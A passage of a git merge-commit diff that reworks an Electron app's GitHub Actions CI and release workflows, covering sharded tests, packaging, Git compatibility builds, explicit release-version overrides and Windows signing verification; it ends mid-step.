Merge remote-tracking branch 'origin/main' into brennanb2025/mobile-update-nudge

# Conflicts:
#	src/main/runtime/orca-runtime.test.ts
This commit is contained in:
Brennan Benson
2026-07-27 15:54:46 -07:00
2373 changed files with 211411 additions and 18714 deletions
+2
View File
@@ -10,3 +10,5 @@
/skill-stubs/*.md text eol=lf
/skills/*/SKILL.md text eol=lf
/src/cli/bundled-skill-guides.ts text eol=lf
# Bundled plugin trees are byte-hashed; CRLF checkout would break the pinned hash.
/resources/plugins/** text eol=lf
@@ -0,0 +1,68 @@
name: Install Node dependencies
description: Installs the Node toolchain and repository dependencies for Linux CI jobs.
inputs:
native-runtime:
description: Native runtime to prepare after the script-free install (none, node, or electron).
required: false
default: none
runs:
using: composite
steps:
# setup-node needs pnpm on PATH to locate and restore its store.
- name: Setup pnpm
uses: pnpm/action-setup@v6
with:
run_install: false
- name: Setup Node.js
uses: actions/setup-node@v6
with:
node-version-file: package.json
cache: pnpm
- name: Validate native runtime
shell: bash
env:
NATIVE_RUNTIME: ${{ inputs.native-runtime }}
run: |
case "$NATIVE_RUNTIME" in
none|node|electron) ;;
*)
echo "::error::native-runtime must be none, node, or electron"
exit 2
;;
esac
# pnpm's bundled gyp_main.py is not executable on fresh Linux runners.
- name: Use external node-gyp
if: inputs.native-runtime != 'none'
shell: bash
run: |
npm install -g node-gyp@11.5.0
echo "npm_config_node_gyp=$(npm root -g)/node-gyp/bin/node-gyp.js" >> "$GITHUB_ENV"
- name: Prepare dependency install
shell: bash
run: |
if [ -e node_modules ]; then
ls -ld node_modules
rm -rf node_modules
fi
- name: Install dependencies
shell: bash
run: |
pnpm install \
--no-frozen-lockfile \
--prefer-frozen-lockfile=false \
--ignore-scripts
git diff --exit-code package.json pnpm-lock.yaml
- name: Prepare native runtime
if: inputs.native-runtime != 'none'
shell: bash
env:
NATIVE_RUNTIME: ${{ inputs.native-runtime }}
run: node config/scripts/ensure-native-runtime.mjs --runtime="$NATIVE_RUNTIME"
+1 -1
View File
@@ -10,7 +10,7 @@ on:
workflow_dispatch:
inputs:
bump_patch_version:
description: 'Bump the iOS marketing version patch number before release. Tick this after a version has shipped to the App Store (the release fails fast if the current version''s train is already closed).'
description: 'Use the first open iOS patch version after the checked-in version, skipping versions already closed on the App Store.'
required: false
default: false
type: boolean
+8
View File
@@ -30,6 +30,11 @@ jobs:
with:
node-version-file: package.json
- name: Setup Ruby
uses: ruby/setup-ruby@v1
with:
ruby-version: '3.3'
- name: Setup pnpm
uses: pnpm/action-setup@v6
with:
@@ -56,6 +61,9 @@ jobs:
- name: Test
run: pnpm test
- name: Test iOS release version resolution
run: ruby fastlane/ios_release_version_test.rb
- name: Lint
run: pnpm lint
+203 -95
View File
@@ -8,62 +8,25 @@ on:
- reopened
- ready_for_review
concurrency:
group: pr-checks-${{ github.event.pull_request.number }}
cancel-in-progress: true
permissions:
contents: read
jobs:
verify:
static_analysis:
name: static analysis
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v6
with:
# Why: the freshness registry is derived from immutable release tags,
# so shallow PR checkouts cannot verify historical official identities.
fetch-depth: 0
persist-credentials: false
- name: Install native build tools
run: sudo apt-get update && sudo apt-get install -y build-essential python3 zlib1g-dev zsh
- name: Setup Node.js
uses: actions/setup-node@v6
with:
node-version-file: package.json
- name: Setup pnpm
uses: pnpm/action-setup@v6
with:
run_install: false
# Why: pnpm's bundled node-gyp ships gyp_main.py without execute
# permission, which breaks native module builds (e.g. node-pty's
# postinstall) with "/bin/sh: gyp_main.py: Permission denied".
# Pin the fallback to the lockfile's node-gyp version so CI stays
# reproducible while forcing pnpm to bypass its broken bundled copy.
# Gate on runner.os == 'Linux' to match release.yml — the
# npm-global path layout this step assumes is POSIX-shaped, and the
# failure has only been observed on Linux runners. Today this job
# pins runs-on: ubuntu-latest so the guard is a no-op, but it
# prevents a silent break if a Windows/macOS matrix is added later.
- name: Use external node-gyp to avoid pnpm's bundled copy (Linux only)
if: runner.os == 'Linux'
run: |
npm install -g node-gyp@11.5.0
echo "npm_config_node_gyp=$(npm root -g)/node-gyp/bin/node-gyp.js" >> "$GITHUB_ENV"
- name: Prepare dependency install
run: |
if [ -e node_modules ]; then
ls -ld node_modules
rm -rf node_modules
fi
- name: Install dependencies
# Why: pnpm 10.24's frozen headless fast path can fail on fresh Ubuntu
# runners while creating the root node_modules. Use the normal resolver
# path, then verify package metadata stayed unchanged.
run: |
pnpm install --no-frozen-lockfile --prefer-frozen-lockfile=false
git diff --exit-code package.json pnpm-lock.yaml
- uses: ./.github/actions/install-node-dependencies
- name: Lint
run: pnpm exec oxlint --format github
@@ -74,27 +37,15 @@ jobs:
- name: Check reliability gate manifest
run: pnpm run check:reliability-gates
# Why: oxlint fails any file over max-lines that is NOT suppressed, so this
# ratchet forbids ADDING a new suppression (inline disable or mobile max
# bump). Existing oversized files are grandfathered in
# config/max-lines-baseline.txt, which may only shrink — new bypasses fail
# here with a clear message instead of silently growing the debt.
- name: Enforce max-lines ratchet (no new bypasses)
- name: Enforce max-lines ratchet
run: pnpm run check:max-lines-ratchet
# Why: the CLI embeds guide content while the skills CLI installs generated
# projections from the repository, so stale output would split those two truths.
- name: Verify bundled skill guides
run: pnpm run verify:bundled-skill-guides
- name: Verify skill freshness manifest
run: pnpm run verify:skill-bundle-manifest
# Why: project-owned type declarations must live in .ts so tsc
# actually checks them. TypeScript's skipLibCheck: true (inherited
# from @electron-toolkit/tsconfig) silently widens unresolved names
# in .d.ts to `any`, which is how #1186 shipped a broken IPC signature
# past typecheck. See docs/preload-typecheck-hole.md.
- name: Guard against project-owned .d.ts in preload/shared
run: |
matches=$(find src/preload src/shared -name '*.d.ts' 2>/dev/null || true)
@@ -113,55 +64,212 @@ jobs:
- name: Verify macOS entitlements
run: pnpm verify:macos-entitlements
- name: Typecheck
run: pnpm typecheck
typecheck:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v6
with:
persist-credentials: false
- uses: ./.github/actions/install-node-dependencies
- run: pnpm typecheck
git_compatibility:
name: Git compatibility
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v6
with:
persist-credentials: false
- uses: ./.github/actions/install-node-dependencies
# Why: real old Git diagnostics differ from mocked errors. Keep the
# fallback predicates executable across the baseline, transition, and
# current command shapes so a newly added flag cannot silently regress.
- name: Verify Git binary compatibility matrix
run: |
archive="$RUNNER_TEMP/git-2.25.5.tar.gz"
source="$RUNNER_TEMP/git-2.25.5"
curl -fsSL https://www.kernel.org/pub/software/scm/git/git-2.25.5.tar.gz -o "$archive"
echo "41662c52fc16fec4963bfc41075e71f8ead6b5e386797eb6f9a1111ff95a8ddf $archive" \
| sha256sum --check
mkdir -p "$source"
tar -xzf "$archive" -C "$source" --strip-components=1
make -C "$source" -j2 NO_GETTEXT=YesPlease NO_TCLTK=YesPlease NO_PYTHON=YesPlease git
ORCA_GIT_COMPAT_BINARY="$source/git" ORCA_GIT_COMPAT_VERSION="2.25.5" \
pnpm exec vitest run --config config/vitest.config.ts \
src/shared/git-binary-compatibility.test.ts
pids=()
(
archive="$RUNNER_TEMP/git-2.25.5.tar.gz"
source="$RUNNER_TEMP/git-2.25.5"
curl -fsSL https://www.kernel.org/pub/software/scm/git/git-2.25.5.tar.gz -o "$archive"
echo "41662c52fc16fec4963bfc41075e71f8ead6b5e386797eb6f9a1111ff95a8ddf $archive" \
| sha256sum --check
mkdir -p "$source"
tar -xzf "$archive" -C "$source" --strip-components=1
make -C "$source" -j"$(nproc)" \
NO_GETTEXT=YesPlease NO_TCLTK=YesPlease NO_PYTHON=YesPlease git
ORCA_GIT_COMPAT_BINARY="$source/git" ORCA_GIT_COMPAT_VERSION="2.25.5" \
pnpm exec vitest run --config config/vitest.config.ts \
src/shared/git-binary-compatibility.test.ts
) &
pids+=("$!")
for spec in \
"alpine/git:edge-2.38.1|2.38.1" \
"alpine/git:v2.49.1|2.49.1"; do
image="${spec%%|*}"
version="${spec#*|}"
ORCA_GIT_COMPAT_IMAGE="$image" ORCA_GIT_COMPAT_VERSION="$version" \
pnpm exec vitest run --config config/vitest.config.ts \
src/shared/git-binary-compatibility.test.ts
(
image="${spec%%|*}"
version="${spec#*|}"
ORCA_GIT_COMPAT_IMAGE="$image" ORCA_GIT_COMPAT_VERSION="$version" \
pnpm exec vitest run --config config/vitest.config.ts \
src/shared/git-binary-compatibility.test.ts
) &
pids+=("$!")
done
# Why: postinstall rebuilds better-sqlite3 for Electron's ABI via
# @electron/rebuild, but vitest runs under system Node.js. Rebuild
# it for Node so orchestration tests can load the native module.
- name: Rebuild better-sqlite3 for Node
run: pnpm rebuild better-sqlite3
status=0
for pid in "${pids[@]}"; do
wait "$pid" || status=1
done
exit "$status"
shell_contracts:
name: shell contracts
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v6
with:
persist-credentials: false
- name: Install zsh
run: sudo apt-get update && sudo apt-get install -y zsh
- uses: ./.github/actions/install-node-dependencies
with:
native-runtime: node
- name: Test real shell contracts
run: |
pnpm exec vitest run --config config/vitest.config.ts \
src/main/daemon/shell-ready.test.ts \
src/main/daemon/node-pty-fd-leak.test.ts \
src/main/providers/local-pty-shell-ready.test.ts \
src/main/providers/__tests__/shell-ready-framework-example.test.ts \
src/main/pty/omp-shell-wrapper.node-pty.test.ts \
src/shared/posix-command-path-lookup.test.ts
test:
name: tests ${{ matrix.shard }}/${{ strategy.job-total }}
runs-on: ubuntu-latest
strategy:
fail-fast: false
matrix:
shard: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16]
steps:
- name: Checkout
uses: actions/checkout@v6
with:
persist-credentials: false
- uses: ./.github/actions/install-node-dependencies
with:
native-runtime: node
# Why: install intentionally blocks Electron's package postinstall, but
# some unit tests import `electron` under Node and require path.txt.
- name: Install Electron package binary for tests
run: node config/scripts/install-electron-package-binary.mjs
- name: Test
run: pnpm test
- name: Test shard
run: |
pnpm exec vitest run --config config/vitest.config.ts \
--exclude=src/main/daemon/shell-ready.test.ts \
--exclude=src/main/daemon/node-pty-fd-leak.test.ts \
--exclude=src/main/providers/local-pty-shell-ready.test.ts \
--exclude=src/main/providers/__tests__/shell-ready-framework-example.test.ts \
--exclude=src/main/pty/omp-shell-wrapper.node-pty.test.ts \
--exclude=src/shared/posix-command-path-lookup.test.ts \
--shard=${{ matrix.shard }}/${{ strategy.job-total }}
- name: Build unpacked app
run: pnpm build:unpack
package:
name: package
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v6
with:
persist-credentials: false
- name: Cache electron-builder downloads
uses: actions/cache@v5
with:
path: |
~/.cache/electron
~/.cache/electron-builder
key: electron-builder-linux-${{ hashFiles('pnpm-lock.yaml') }}
restore-keys: |
electron-builder-linux-
- uses: ./.github/actions/install-node-dependencies
with:
native-runtime: electron
- name: Build package inputs
run: |
status=0
pnpm run build:cli || status=1
scripts=(build:relay build:electron-vite:parallel)
pids=()
for script in "${scripts[@]}"; do
pnpm run "$script" &
pids+=("$!")
done
for pid in "${pids[@]}"; do
wait "$pid" || status=1
done
exit "$status"
- name: Project web client from renderer build
run: pnpm run build:web-from-renderer
- name: Build native components
run: pnpm run build:native
- name: Package unpacked app
env:
ORCA_REUSE_PREPARED_NATIVE_RUNTIME: '1'
run: pnpm exec electron-builder --config config/electron-builder.config.cjs --dir
# Why: the packaged CLI runs outside Electron's asar integration, so
# bare runtime imports must be present in the package itself. Run from a
# temp copy so Node cannot mask missing package deps with repo node_modules.
- name: Smoke packaged CLI
run: node config/scripts/smoke-packaged-cli.mjs --app-dir=dist/linux-unpacked
verify:
if: always()
needs:
- static_analysis
- typecheck
- git_compatibility
- shell_contracts
- test
- package
runs-on: ubuntu-latest
steps:
- name: Require successful checks
env:
STATIC_ANALYSIS: ${{ needs.static_analysis.result }}
TYPECHECK: ${{ needs.typecheck.result }}
GIT_COMPATIBILITY: ${{ needs.git_compatibility.result }}
SHELL_CONTRACTS: ${{ needs.shell_contracts.result }}
TEST: ${{ needs.test.result }}
PACKAGE: ${{ needs.package.result }}
run: |
for result in \
"$STATIC_ANALYSIS" \
"$TYPECHECK" \
"$GIT_COMPATIBILITY" \
"$SHELL_CONTRACTS" \
"$TEST" \
"$PACKAGE"; do
if [ "$result" != "success" ]; then
exit 1
fi
done
+346 -21
View File
@@ -42,7 +42,12 @@ on:
default: false
type: boolean
version_suffix:
description: Extra prerelease identifier appended to an rc version (e.g. "perf" -> 1.2.3-rc.4.perf). rc kind only.
description: Extra prerelease identifier appended to an rc version (e.g. "perf" -> 1.2.3-rc.4.perf). Applies to kind=rc, or to an explicit version that is a bare X.Y.Z-rc.N.
required: false
type: string
default: ''
version:
description: Exact version to cut (e.g. 1.4.155 or 1.4.155-rc.4), bypassing kind-based computation. Use to leapfrog a deleted/rolled-back stable that regressed the release list. Must be greater than the latest published stable, and an -rc.N must be above the highest RC already cut for its own base.
required: false
type: string
default: ''
@@ -68,9 +73,27 @@ jobs:
should_release: ${{ steps.tag.outputs.tag != '' || steps.version.outputs.recovered_tag != '' }}
latest_published_rc_tag: ${{ steps.publish_drafts.outputs.latest_published_tag }}
steps:
# Surfaces workflow_dispatch inputs as a table in the job summary
# (kind, ref, dry_run, version_suffix) so runs are easy to audit.
- uses: m-s-abeer/update-gha-summary-with-workflow-inputs@v1
# Why inlined (not m-s-abeer/update-gha-summary-with-workflow-inputs):
# this job runs with contents:write and secret scope, so avoid executing
# any external (mutable @v1) action here. Surfaces every
# workflow_dispatch input as a table for audit; the resolved commit /
# branch / tag enrichment is written later in "Resolve ref SHA".
# Inputs are passed as JSON via env and parsed by jq as data — never
# interpolated into the shell — to avoid injection from dispatch values.
- name: Summarize workflow inputs
if: github.event_name == 'workflow_dispatch'
env:
INPUTS_JSON: ${{ toJSON(inputs) }}
run: |
{
echo "## Workflow inputs"
echo ""
echo "| Input | Value |"
echo "| --- | --- |"
# Values are data from env JSON; wrap in backticks for readability.
# Newlines collapsed so a multi-line input cannot break the table.
jq -r '(. // {}) | to_entries[] | "| `\(.key)` | `\(.value | tostring | gsub("\n"; " "))` |"' <<<"$INPUTS_JSON"
} >> "$GITHUB_STEP_SUMMARY"
- name: Checkout ref
uses: actions/checkout@v6
@@ -90,8 +113,17 @@ jobs:
- name: Resolve ref SHA
id: resolve
env:
# Why: keep the caller's ref as data (env) so we can label it in the
# summary without shell-interpolating a dispatch-controlled string
# into the script body.
INPUT_REF: ${{ github.event_name == 'schedule' && 'main' || inputs.ref }}
REPO: ${{ github.repository }}
SERVER_URL: ${{ github.server_url }}
run: |
set -euo pipefail
sha="$(git rev-parse HEAD)"
short_sha="$(git rev-parse --short=12 HEAD)"
echo "sha=$sha" >>"$GITHUB_OUTPUT"
# Why: only push the version-bump commit back to main when the
@@ -105,6 +137,97 @@ jobs:
echo "push_main=false" >>"$GITHUB_OUTPUT"
fi
# Always surface the resolved commit in the job summary, plus any
# branches/tags that currently point at it (clickable). The raw
# `ref` input alone is ambiguous (branch vs tag vs SHA); for SHA
# inputs it also hides the human-readable names operators need
# when auditing RC cuts.
input_ref="${INPUT_REF:-main}"
repo_url="${SERVER_URL}/${REPO}"
branches="$(
git for-each-ref --format='%(refname:short)' --points-at="$sha" 'refs/remotes/origin/*' \
| sed 's|^origin/||' \
| grep -vx 'HEAD' \
| sort -u \
|| true
)"
tags="$(
git for-each-ref --format='%(refname:short)' --points-at="$sha" 'refs/tags/*' \
| sort -u \
|| true
)"
# Build comma-separated markdown links. Branch/tag names go in the
# URL path as-is (slashes must stay literal for GitHub tree URLs).
linkify_names() {
local url_kind="$1"
local names="$2"
if [[ -z "${names//[$'\t\r\n']/}" ]]; then
printf '_none_'
return
fi
local first=1
while IFS= read -r name; do
[[ -z "$name" ]] && continue
local path_name url
path_name="${name// /%20}"
case "$url_kind" in
branch) url="${repo_url}/tree/${path_name}" ;;
tag) url="${repo_url}/releases/tag/${path_name}" ;;
*) url="${repo_url}" ;;
esac
if [[ "$first" -eq 1 ]]; then
first=0
else
printf ', '
fi
printf '[`%s`](%s)' "$name" "$url"
done <<<"$names"
}
branch_md="$(linkify_names branch "$branches")"
tag_md="$(linkify_names tag "$tags")"
# When no branch tip matches (historical SHA cuts), fall back to
# name-rev so the summary still shows something like `main~3`.
contains_md="_none_"
if [[ "$branch_md" == "_none_" ]]; then
approx="$(git name-rev --name-only --no-undefined --refs='refs/remotes/origin/*' "$sha" 2>/dev/null || true)"
if [[ -n "$approx" ]]; then
# name-rev prints remotes/origin/<branch>[~N]; strip to branch[~N].
approx="${approx#remotes/origin/}"
approx="${approx#origin/}"
contains_md="\`${approx}\`"
fi
fi
input_kind="ref"
if git rev-parse -q --verify "refs/remotes/origin/${input_ref}" >/dev/null 2>&1; then
input_kind="branch"
elif git rev-parse -q --verify "refs/tags/${input_ref}" >/dev/null 2>&1; then
input_kind="tag"
elif [[ "$input_ref" =~ ^[0-9a-fA-F]{7,40}$ ]]; then
input_kind="sha"
fi
{
echo "## Resolved source"
echo ""
echo "Every cut resolves to a commit. Branch/tag rows list refs whose tip is that commit."
echo ""
echo "| Field | Value |"
echo "| --- | --- |"
echo "| Input ref | \`${input_ref}\` (${input_kind}) |"
echo "| Commit | [\`${short_sha}\`](${repo_url}/commit/${sha}) |"
echo "| Branches at commit | ${branch_md} |"
echo "| Tags at commit | ${tag_md} |"
if [[ "$branch_md" == "_none_" ]]; then
echo "| Also on | ${contains_md} |"
fi
echo ""
} >> "$GITHUB_STEP_SUMMARY"
- name: Compute RC slot
id: slot
run: |
@@ -202,6 +325,7 @@ jobs:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
KIND: ${{ github.event_name == 'schedule' && 'rc' || inputs.kind }}
VERSION_SUFFIX: ${{ github.event_name == 'schedule' && '' || inputs.version_suffix }}
EXPLICIT_VERSION: ${{ github.event_name == 'schedule' && '' || inputs.version }}
run: |
set -euo pipefail
@@ -264,6 +388,23 @@ jobs:
node config/scripts/release-rc-history.mjs "$1"
}
require_valid_version_suffix() {
# Why a dot-appended identifier (rc.N.perf): it sorts just
# above its own base rc.N but BELOW rc.N+1, so suffixed side-
# branch builds never outrank the main RC series and cannot
# hijack the update channel; clients find them by matching the
# identifier ("perf") in the prerelease components.
# Why the numeric alternation rather than plain [0-9A-Za-z]+:
# semver forbids a leading zero on an all-digit identifier, and
# `npm version` silently renormalizes rc.4.01 to rc.4.1 while the
# tag step keeps the literal input — so the shipped package.json
# version and its own release tag would name different releases.
if [[ ! "$1" =~ ^(0|[1-9][0-9]*|[0-9A-Za-z]*[A-Za-z][0-9A-Za-z]*)$ ]]; then
echo "::error::version_suffix (or the trailing .identifier in version) must be alphanumeric with no leading zero on an all-digit identifier, got: $1" >&2
exit 1
fi
}
current_package_stable() {
node -e '
const { version } = require("./package.json");
@@ -340,7 +481,14 @@ jobs:
# floor for the current ref so the next cut cannot reuse an older
# stable number just because the public release was nuked.
if semver_gt "$package_stable" "$latest_stable"; then
if [[ "$KIND" != "rc" ]]; then
# Skip floor-tag recovery when an explicit version is requested:
# recover_unpublished_tag can exit 0, which would recover the
# package-floor tag instead of cutting the requested version —
# defeating the very rollback scenario the override exists for.
# We still raise latest_stable to the floor below so the explicit
# version is gated against it; the collision recovery for the
# requested tag runs later.
if [[ "$KIND" != "rc" && -z "${EXPLICIT_VERSION:-}" ]]; then
package_tag="v$package_stable"
if git rev-parse "$package_tag" >/dev/null 2>&1; then
recover_unpublished_tag "$package_tag" "current ref stable tag is newer than latest published stable" || true
@@ -352,6 +500,98 @@ jobs:
fi
fi
# Explicit version override (manual dispatch only).
#
# Why: kind-based math derives the next number from the latest
# *published* stable. When a shipped stable is deleted (e.g. a
# rolled-back 1.4.154), the release list regresses to the prior
# stable, so a kind cut recomputes a number at or below the nuked one
# and strands every client that already installed the deleted build.
# The package.json floor above only recovers this when the deleted
# version's bump commit is on the ref being cut, which a hotfix cut
# from an older RC ref does not carry. An explicit version lets a
# human assert the exact target (e.g. leapfrog to 1.4.155); the
# updater-safety gate and tag-collision recovery below still apply.
new=""
if [[ -n "${EXPLICIT_VERSION:-}" ]]; then
explicit="${EXPLICIT_VERSION#v}"
# Why the optional trailing identifier: it lets an operator name a
# suffixed side-branch RC (X.Y.Z-rc.N.perf) directly, the same shape
# the rc path cuts. Note this only ever admits one *above* the
# series head — the gate below refuses a suffixed rc at or below it
# just like a bare one, so this is a second spelling of
# `version=X.Y.Z-rc.N` + `version_suffix`, not a way back into a
# series that already shipped.
# Why rc.(0|[1-9][0-9]{0,8}): the `-le` below compares with bash's
# machine-width integers, so both ends of that range fall *open* on
# exactly the RCs this gate must catch. A leading zero (rc.08) is an
# invalid octal literal, and the failed test makes the `if` false.
# Past INTMAX the literal wraps two's-complement, so whether it
# reads as above or below the published rc depends on the value:
# rc.99999999999999999999 wraps to 7766279631452241919 and sails
# through. The cut then lands a tag that pins highest_rc_for_base
# at 1e20 forever, and every later cut wraps to a *lower* rc that
# sorts below it, so the fleet never updates again. Nine digits is
# far above any real series and exact in bash math either way.
if [[ ! "$explicit" =~ ^[0-9]+\.[0-9]+\.[0-9]+(-rc\.(0|[1-9][0-9]{0,8})(\.[0-9A-Za-z]+)?)?$ ]]; then
echo "::error::version must be X.Y.Z, X.Y.Z-rc.N, or X.Y.Z-rc.N.suffix, got: $EXPLICIT_VERSION" >&2
exit 1
fi
# Why route the embedded identifier through the same validator the
# kind path uses: the regex above only checks shape, and rc.4.01
# is a shape-valid identifier that is not valid semver.
if [[ "$explicit" == *-rc.*.* ]]; then
require_valid_version_suffix "${explicit##*.}"
fi
# Same updater-safety gate the kind path enforces: stable line must
# strictly increase over the latest published stable (prerelease
# identifiers ignored for the comparison).
if ! semver_gt "$explicit" "$latest_stable"; then
echo "::error::Refusing explicit version $explicit: not greater than latest stable $latest_stable." >&2
exit 1
fi
# Why a second gate for prereleases: semver_gt compares through
# strip_pre(), so the stable-line check reads 1.4.156-rc.0 as
# 1.4.156 and waves it past a 1.4.155 stable even when rc.0..rc.3
# already shipped — republishing an RC *below* what clients run,
# the same regression class as the rc.4 cut that orphaned live
# daemons. Anchor on the same rc history the kind path uses so the
# override can only ever advance the series it targets.
if [[ "$explicit" == *-rc.* ]]; then
explicit_base="${explicit%%-*}"
explicit_rc="${explicit#*-rc.}"
explicit_rc="${explicit_rc%%.*}"
highest_explicit_rc="$(highest_rc_for_base "$explicit_base")"
if [[ -n "$highest_explicit_rc" && "$explicit_rc" -le "$highest_explicit_rc" ]]; then
# Why the remedy is spelled this narrowly: kind=rc derives its
# base from bump(latest_stable, patch), so it can only resume a
# series on that base. A minor/major series (1.5.0-rc.N) exists
# only because this override created it, and pointing an
# operator at kind=rc there would cut an unrelated release.
echo "::error::Refusing explicit version $explicit: rc.$explicit_rc is not above rc.$highest_explicit_rc, the highest already cut for $explicit_base. Request rc.$((highest_explicit_rc + 1)) or higher. If you are resuming an unpublished tag and $explicit_base is the next patch after latest stable $latest_stable, dispatch kind=rc instead, which recovers that tag when it was cut from the ref you dispatch; otherwise cut rc.$((highest_explicit_rc + 1)) and leave the unpublished tag alone." >&2
exit 1
fi
fi
new="$explicit"
# Why here too: the suffix append below lives in the kind path the
# override skips, so an operator passing both inputs used to get
# their suffix silently dropped. Only a bare rc can take one — a
# stable X.Y.Z.perf is not valid semver, and re-suffixing an
# already-suffixed rc would produce rc.N.perf.perf.
if [[ -n "${VERSION_SUFFIX:-}" ]]; then
# Same bounded rc pattern as the shape check above, so the two
# cannot drift apart under a later edit.
if [[ ! "$explicit" =~ ^[0-9]+\.[0-9]+\.[0-9]+-rc\.(0|[1-9][0-9]{0,8})$ ]]; then
echo "::error::version_suffix applies only to a bare X.Y.Z-rc.N version, got: $explicit" >&2
exit 1
fi
require_valid_version_suffix "$VERSION_SUFFIX"
new="${new}.${VERSION_SUFFIX}"
fi
echo "Explicit version override: $new"
fi
if [[ -z "$new" ]]; then
case "$KIND" in
rc)
# Why: RCs always stabilize the *next* patch after whatever
@@ -377,15 +617,7 @@ jobs:
new="${base}-rc.$((highest_rc + 1))"
fi
if [[ -n "${VERSION_SUFFIX:-}" ]]; then
# Why a dot-appended identifier (rc.N.perf): it sorts just
# above its own base rc.N but BELOW rc.N+1, so suffixed side-
# branch builds never outrank the main RC series and cannot
# hijack the update channel; clients find them by matching the
# identifier ("perf") in the prerelease components.
if [[ ! "$VERSION_SUFFIX" =~ ^[0-9A-Za-z]+$ ]]; then
echo "::error::version_suffix must be alphanumeric, got: $VERSION_SUFFIX" >&2
exit 1
fi
require_valid_version_suffix "$VERSION_SUFFIX"
new="${new}.${VERSION_SUFFIX}"
fi
;;
@@ -429,6 +661,7 @@ jobs:
exit 1
;;
esac
fi
# Orphan-tag recovery.
#
@@ -476,7 +709,19 @@ jobs:
# message and tag name explicitly (avoids npm's `v1.2.3` prefix
# assumptions and any lifecycle scripts that would run on bump).
npm version "$VERSION" --no-git-tag-version --allow-same-version
git add package.json
# Why: the cut is the only point where committed skill bytes become a
# released revision. Without this row the ledger never advances, so the
# next skill change rebuilds the revision this tag ships over different
# bytes and every install of it stops matching a known snapshot.
# --release is provenance-only: it fails if the content-addressed
# artifacts do not already match this ref and writes just the mapping
# row, so the version commit stays skill-independent. Node built-ins
# only, so this needs no install.
if ! node config/scripts/generate-skill-bundle-manifest.mjs --release "$VERSION"; then
echo "::error::Refusing to record release provenance for v$VERSION: the committed skill artifacts do not match this ref. Land a regeneration on main, then re-run the cut." >&2
exit 1
fi
git add package.json resources/skills/release-mapping.json
commit_message="release: v$VERSION"
if [[ "$EVENT_NAME" == "schedule" ]]; then
commit_message="$commit_message [rc-slot:$SLOT]"
@@ -489,6 +734,22 @@ jobs:
else
git commit -m "$commit_message"
fi
# Why: a lint that greps this file cannot see a path built from an env
# var, a composite action, or concatenation, and `git commit` has forms
# (-a, -i, --only, a pathspec) that commit the working tree rather than
# the index. Assert what the commit actually carries, so the tag can
# only ever ship the version bump and the provenance row, no matter
# which step staged what or how the commit was spelled.
# -F because the allowlist is literal: unanchored, `.` would match any
# character and quietly admit a path like `packageXjson`.
# -m --first-parent: plain diff-tree prints NOTHING for a merge commit,
# which would make this guard pass silently rather than fail closed.
committed="$(git diff-tree --no-commit-id --name-only -r -m --first-parent HEAD |
grep -vxF -e 'package.json' -e 'resources/skills/release-mapping.json' || true)"
if [[ -n "$committed" ]]; then
echo "::error::Release commit carries unexpected paths: $(echo "$committed" | tr '\n' ' ')Only package.json and the skill release-mapping row may ship in a version commit." >&2
exit 1
fi
git tag -a "v$VERSION" -m "v$VERSION"
echo "tag=v$VERSION" >>"$GITHUB_OUTPUT"
echo "sha=$(git rev-parse HEAD)" >>"$GITHUB_OUTPUT"
@@ -1238,7 +1499,6 @@ jobs:
Write-Warning 'Restored pre-rebuild installer; this release ships with unsigned inner binaries.'
}
# ── End Windows inner-binary signing ───────────────────────────────
- name: Upload unsigned Windows installer for SignPath
if: matrix.platform == 'win'
id: upload-unsigned-windows-installer
@@ -1330,7 +1590,8 @@ jobs:
}
Copy-Item -Path $signedInstaller.FullName -Destination 'dist/orca-windows-setup.exe' -Force
& 'node_modules/app-builder-bin/win/x64/app-builder.exe' blockmap --input 'dist/orca-windows-setup.exe' --output 'dist/orca-windows-setup.exe.blockmap'
node config/scripts/generate-windows-blockmap.mjs 'dist/orca-windows-setup.exe' 'dist/orca-windows-setup.exe.blockmap'
if ($LASTEXITCODE -ne 0) { throw "blockmap generation failed with exit code $LASTEXITCODE" }
$installer = Get-Item 'dist/orca-windows-setup.exe'
$blockmap = Get-Item 'dist/orca-windows-setup.exe.blockmap'
@@ -1382,8 +1643,41 @@ jobs:
INNER_SIGNING_COMPLETED: ${{ steps.rebuild-nsis-signed.outcome == 'success' }}
run: |
$required = $env:ORCA_WINDOWS_INNER_SIGNATURE_REQUIRED -eq 'true'
# Why: a fail-open gate that writes nothing is indistinguishable from a
# gate that passed. Always leave a verdict in the evidence artifact and
# the job summary so a silent degradation is visible (#6487).
# Why best-effort: while warn-only, a disk-full or permission error
# writing the verdict must not become the thing that fails the release.
function Add-GateEvidence([string]$line) {
try {
Add-Content -Path 'inner-signing-evidence.txt' -Value "`n$line" -ErrorAction Stop
} catch {
Write-Host "::warning::Could not append to the inner-signing evidence file: $_"
}
}
function Add-GateSummary([string]$verdict) {
if (-not $env:GITHUB_STEP_SUMMARY) { return }
try {
Add-Content -Path $env:GITHUB_STEP_SUMMARY -Value "**Windows inner-binary signing:** $verdict" -ErrorAction Stop
} catch {
Write-Host "::warning::Could not write inner-signing verdict to the job summary: $_"
}
}
function Write-GateVerdict([string]$verdict) {
try {
Set-Content -Path 'inner-signing-evidence.txt' -Value $verdict -ErrorAction Stop
} catch {
Write-Host "::warning::Could not persist inner-signing verdict: $_"
}
Add-GateSummary $verdict
}
if ($env:INNER_SIGNING_COMPLETED -ne 'true') {
$message = 'Windows inner-binary signing did not complete; this release ships unsigned inner binaries (fail-open, issue #7785).'
Write-GateVerdict "NOT VERIFIED — $message"
if ($required) { throw $message }
Write-Host "::warning::$message"
exit 0
@@ -1392,13 +1686,28 @@ jobs:
# Why try/catch: while the gate is warn-only, even an unexpected
# script error (extraction hiccup, missing file) must not block
# the release — only the flip to required makes failures fatal.
# Why tracked separately: a required-mode signature failure must not be
# rewritten as ERRORED by the catch below, which would replace the
# per-file report with an exception string and lose the diagnostics.
$policyFailure = $null
try {
$report = New-Object System.Collections.Generic.List[string]
$failures = New-Object System.Collections.Generic.List[string]
# Why: verify the files a user actually gets on disk, not the build
# tree — 7z parses the NSIS exe directly as its embedded payload.
$7za = 'node_modules/7zip-bin/win/x64/7za.exe'
# Resolve 7za via app-builder-lib; electron-builder 26.9+ dropped the
